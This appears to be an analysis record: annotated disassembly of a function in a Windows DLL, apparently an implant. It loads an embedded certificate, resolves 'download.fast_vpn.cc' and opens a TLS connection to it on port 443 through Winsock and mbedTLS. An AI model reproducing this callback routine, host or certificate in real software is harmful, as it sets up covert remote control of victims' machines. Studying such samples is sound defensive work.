Function at 0x10001cf0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7cc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x181
lea edi, [ebp - 0x618]
mov esi, str._____BEGIN_CERTIFICATE______r_nMIIEMzCCAxugAwIBAgIUdE7q9qzxqR9p4UvzHRdlmeahyI4wDQYJKoZIhvcNAQEL_r_nBQAwgacxCzAJBgNVBAYTAjIxMREwDwYDVQQIDAhuZXcgeW9yazEPMA0GA1UEBwwG_r_ncGl0dGxlMSIwIAYDVQQKDBlJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQuMRAwDgYD_r_nVQQLDAdzZWN0aW9uMRgwFgYDVQQDDA9jcm93ZHN0cmlrZS5mY2MxJDAiBgkqhkiG_r_n9w0BCQEWFW9kZWRkQGNyb3dkc3RyaWtlLmNvbTAgFw0yMzAxMjkwNzE4MDZaGA8y_r_nMTIzMDEwNTA3MTgwNlowgacxCzAJBgNVBAYTAjIxMREwDwYDVQQIDAhuZXcgeW9y_r_nazEPMA0GA1UEBwwGcGl0dGxlMSIwIAYDVQQKDBlJbnRlcm5ldCBXaWRnaXRzIFB0_r_neSBMdGQuMRAwDgYDVQQLDAdzZWN0aW9uMRgwFgYDVQQDDA9jcm93ZHN0cmlrZS5m_r_nY2MxJDAiBgkqhkiG9w0BCQEWFW9kZWRkQGNyb3dkc3RyaWtlLmNvbTCCASIwDQYJ_r_nKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCeIZtCHLv2Lpyr8dRChajNlcAu2F4M_r_n8QwxFcmc5VaPRYT5gCIXLdt6wHIuFugXc5iNz6GGy_lbSIOSNk3Okl1w1xNUPdqF_r_n3hQhl95bHW2VRFzV0UoolLvex9TF1u04wfgPr_qgJtjTf5rBfQkkfLfcs7ur_O0_r_nOgxtZtvLSrGNvxkLZ_wlsfHBbki3IxqfyB5P3hjBoX7yiuzxNyT8pgoPiLaPlab_r_nFmRiE92qw_cDt620q6VO3v5MGl8QhCJfPolHOYZ3J4lnT_nYIfNaDoobycxERX_r_nnE8zmlBskfe84NIcaOdZkb5H_ZPz30c1rQkdL2rmQhe16BdIZyfrqssCAwEAAaNT_r_nMFEwHQYDVR0OBBYEFHRyxMZpXWOGVs3xEU2paVzHn9EtMB8GA1UdIwQYMBaAFHRy_r_nxMZpXWOGVs3xEU2paVzHn9EtMA8GA1UdEwEB_wQFMAMBAf8wDQYJKoZIhvcNAQEL_r_nBQADggEBABrHxRCgMiI7vki_g_obcx1aj9IpjPY1AmAgTt3UvtZuTztzL8guaw3_r_ncZ0dVdUtADXoIPjdZNUBCi8zWLiH9uRe4RUlJBWJSzXxsZ6GpS2Rq6Ub6qG1Xec_r_n0L47KciXKX9mB8L98QMDraZuJbi_pyQ4rLehh_IPTIRjH6L4ulCngxKm9I9gaIl_r_nEaiuXCsMlpyBiAh2wo6vmzbLhUtPIoEPd4gRrWHQy4DYLbKIhzlynL7I_ujl5g7_r_nxAkH0s5Z0F95AqTPSw1ydV49e42bkbUvtrrjjkixJ5nvKst5XaL9894hcyQ7Y_r_nh3mOhyKAkrTLbaxyIUs7r5OieDYfEWs_r_n_____END_CERTIFICATE_____
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push 0x1bb
push 0x1006a270
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
lea eax, [ebp - 0xc]
push 6
push eax
movsb byte es:[edi], byte [esi]
call fcn.10001c90
call fcn.1000e8c0
push 0x138
push 0
push 0x100779c0
call fcn.10046690
add esp, 0x1c
push 0x140
push 0
push 0x10077e80
call fcn.10046690
add esp, 0xc
mov dword [0x10077b18], 0xffffffff
push 0xd0
push 0
push 0x10077da0
call fcn.10046690
add esp, 0xc
push pe_nt_image_headers32
push 0
push 0x10077880
call fcn.10046690
add esp, 8
push 7
sub esp, 8
call fcn.10011af0
add esp, 0x10
test eax, eax
jne 0x10002249
push ecx
lea edx, [ebp - 0x618]
call fcn.1000ffd0
add esp, 4
test eax, eax
js 0x10002249
cmp dword [0x10075394], 0
jne 0x10001e00
lea eax, [ebp - 0x7a8]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10001df6
mov edi, 0xffffffbe
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10045387
mov esp, ebp
pop ebp
ret
mov dword [0x10075394], 1
lea eax, [ebp - 0x7ac]
mov dword [ebp - 0x7cc], 0
push eax
lea eax, [ebp - 0x7cc]
mov dword [ebp - 0x7c8], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x7c4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x7c0], 6
push eax
push str.download.fast_vpn.cc
movlpd qword [ebp - 0x7bc], xmm0
movlpd qword [ebp - 0x7b4], xmm0
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, 0xffffffae
test eax, eax
jne 0x10001ec9
mov esi, dword [ebp - 0x7ac]
test esi, esi
je 0x10001eb9
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x10077b18], eax
test eax, eax
jns 0x10001e90
mov edi, 0xffffffbe
jmp 0x10001eae
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x10001eb7
push dword [0x10077b18]
call ebx
mov edi, 0xffffffbc
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x10001e71
jmp 0x10001eb9
xor edi, edi
push dword [ebp - 0x7ac]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x10001edc
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10045387
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x10077e6c]
xor eax, eax
and ebx, 0xfffffff8
mov word [0x10077e58], ax
or eax, 0xffffffff
mov dword [0x10077de4], 0x1000c560
or ebx, 0x53c48
mov dword [0x10077de8], 0x1000c560
cmp dword [0x100755e8], 0
mov dword [0x10077e6c], ebx
mov dword [0x10077e4c], 0x3e8
mov dword [0x10077e50], 0xea60
mov dword [0x10077e54], 0x10
mov dword [0x10077e5a], eax
mov word [0x10077e5e], ax
mov dword [0x10077e68], 0x1030303
jne 0x10001fa7
mov edi, 0x1005ed88
mov esi, 0x10075398
cmp esi, 0x100755e4
jae 0x10001f97
mov edx, dword [edi]
mov eax, 0x1005f0c8
mov ecx, 0xcca8
nop word [eax + eax]
cmp ecx, edx
je 0x10001f80
mov ecx, dword [eax + 0x28]
add eax, 0x28
test ecx, ecx
jne 0x10001f70
jmp 0x10001f8f
test eax, eax
je 0x10001f8f
cmp dword [eax + 8], 0x2a
je 0x10001f8f
mov dword [esi], edx
add esi, 4
add edi, 4
cmp dword [edi], 0
jne 0x10001f56
mov dword [esi], 0
mov dword [0x100755e8], 1
mov dword [0x10077dac], 0x10075398
mov dword [0x10077da8], 0x10075398
mov dword [0x10077da4], 0x10075398
mov dword [0x10077da0], 0x10075398
mov dword [0x10077e04], 0x1005dcd8
mov dword [0x10077e14], 0x100748c0
call fcn.10022f80
push 0x414d
and ebx, 0xfffffff3
mov dword [0x10077e18], eax
push 1
mov dword [0x10077e64], 0x400
mov dword [0x10077e6c], ebx
mov dword [0x10077e0c], 0x100779c0
mov dword [0x10077e10], 0
mov dword [0x10077db8], 0x10012140
mov dword [0x10077dbc], 0x10077e80
mov dword [0x10077880], 0x10077da0
mov dword [0x10077930], 0
call fcn.1004b0e2
add esp, 8
mov dword [0x100778dc], eax
push 0x414d
test eax, eax
jne 0x1000207e
push str.alloc__d_bytes__failed
push 0x1ae2
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_tls.c
push 1
push 0x10077880
call fcn.10012320
add esp, 0x18
mov esi, 0xffff8100
jmp 0x100020cf
push 1
call fcn.1004b0e2
add esp, 8
mov dword [0x10077930], eax
test eax, eax
jne 0x100020bb
push 0x414d
push str.alloc__d_bytes__failed
push 0x1aea
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_tls.c
push 1
push 0x10077880
call fcn.10012320
add esp, 0x18
mov esi, 0xffff8100
jmp 0x100020cf
call fcn.1000c570
call fcn.1000c190
mov esi, eax
test esi, esi
je 0x10002184
push dword [0x100778dc]
call fcn.1004b0ed
add esp, 4
push dword [0x10077930]
call fcn.1004b0ed
add esp, 4
mov dword [0x10077880], 0
mov dword [0x100778dc], 0
mov dword [0x10077930], 0
mov dword [0x100778e4], 0
mov dword [0x100778e0], 0
mov dword [0x100778e8], 0
mov dword [0x100778ec], 0
mov dword [0x100778f0], 0
mov dword [0x10077938], 0
mov dword [0x10077934], 0
mov dword [0x1007793c], 0
mov dword [0x10077940], 0
mov dword [0x10077944], 0
test esi, esi
je 0x10002184
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10045387
mov esp, ebp
pop ebp
ret
mov edx, dword [0x10077964]
test edx, edx
je 0x100021b8
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002193
mov eax, dword [fcn.10046690]
sub ecx, esi
push ecx
push 0
push edx
call eax
add esp, 0xc
push dword [0x10077964]
call fcn.1004b0ed
add esp, 4
push 0x15
push 1
call fcn.1004b0e2
mov ecx, eax
add esp, 8
mov dword [0x10077964], ecx
test ecx, ecx
jne 0x100021e6
mov eax, 0xffff8100
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10045387
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [str.download.fast_vpn.cc]
movups xmmword [ecx], xmm0
mov eax, dword [0x1005db8c]
mov dword [ecx + 0x10], eax
mov eax, dword [0x10077964]
mov byte [eax + 0x14], 0
mov dword [0x100778a8], 0x10077b18
mov dword [0x1007789c], 0x100122c0
mov dword [0x100778a0], 0x10012260
mov dword [0x100778a4], 0
call fcn.1000ca70
test eax, eax
je 0x10002249
cmp eax, 0xffff9700
je 0x10002240
cmp eax, 0xffff9780
jne 0x10002249
call fcn.1000ca70
test eax, eax
jne 0x10002232
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10045387
mov esp, ebp
pop ebp
ret